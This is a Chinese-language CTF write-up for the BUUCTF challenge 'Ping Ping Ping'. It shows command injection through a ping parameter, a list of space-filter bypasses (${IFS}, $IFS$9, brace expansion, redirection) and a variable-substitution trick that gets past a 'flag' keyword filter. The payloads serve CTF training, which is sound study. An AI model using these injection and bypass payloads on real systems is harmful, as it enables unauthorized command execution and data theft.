BUUCTF刷题----------[GXYCTF2019]Ping Ping Ping
不定时更新
题目
考点
命令执行和过滤
解题思路
从题目可以看出需要执行?ip=
解题过程
构造payload
http://053b3284-a6e4-4bbb-8c63-265b2267f9e2.node4.buuoj.cn:81/?ip=127.0.0.1
查看文件目录
http://053b3284-a6e4-4bbb-8c63-265b2267f9e2.node4.buuoj.cn:81/?ip=127.0.0.1|ls
发现两个PHP文件
查看文件
http://053b3284-a6e4-4bbb-8c63-265b2267f9e2.node4.buuoj.cn:81/?ip=127.0.0.1|cat index.php
出现空格过滤,CTF中linux系统空格替换的类型有:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
CTF中Windows系统空格替换的类型有:
(实用性不是很广,也就type这个命令可以用)
type.\flag.txt
type,flag.txt
echo,123456
执行新的payload:
http://053b3284-a6e4-4bbb-8c63-265b2267f9e2.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$9index.php
发现index.php中对一些符号进行了过滤:
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)
查看flag.php
执行payload:
http://053b3284-a6e4-4bbb-8c63-265b2267f9e2.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$9flag.php
发现题目对flag进行了过滤,但是从从index.php文件中未对;进行过滤,所以我们可以根据PHP定义变量去替换flag中的一个字母:
http://053b3284-a6e4-4bbb-8c63-265b2267f9e2.node4.buuoj.cn:81/?ip=127.0.0.1;s=g;cat$IFS$9fla$s.php
注意此处对flag进行了注释,需要F12查看源码
注意此处对flag进行了注释,需要F12查看源码[外链图片转存中…(img-2Pb5AFZh-1646873246328)]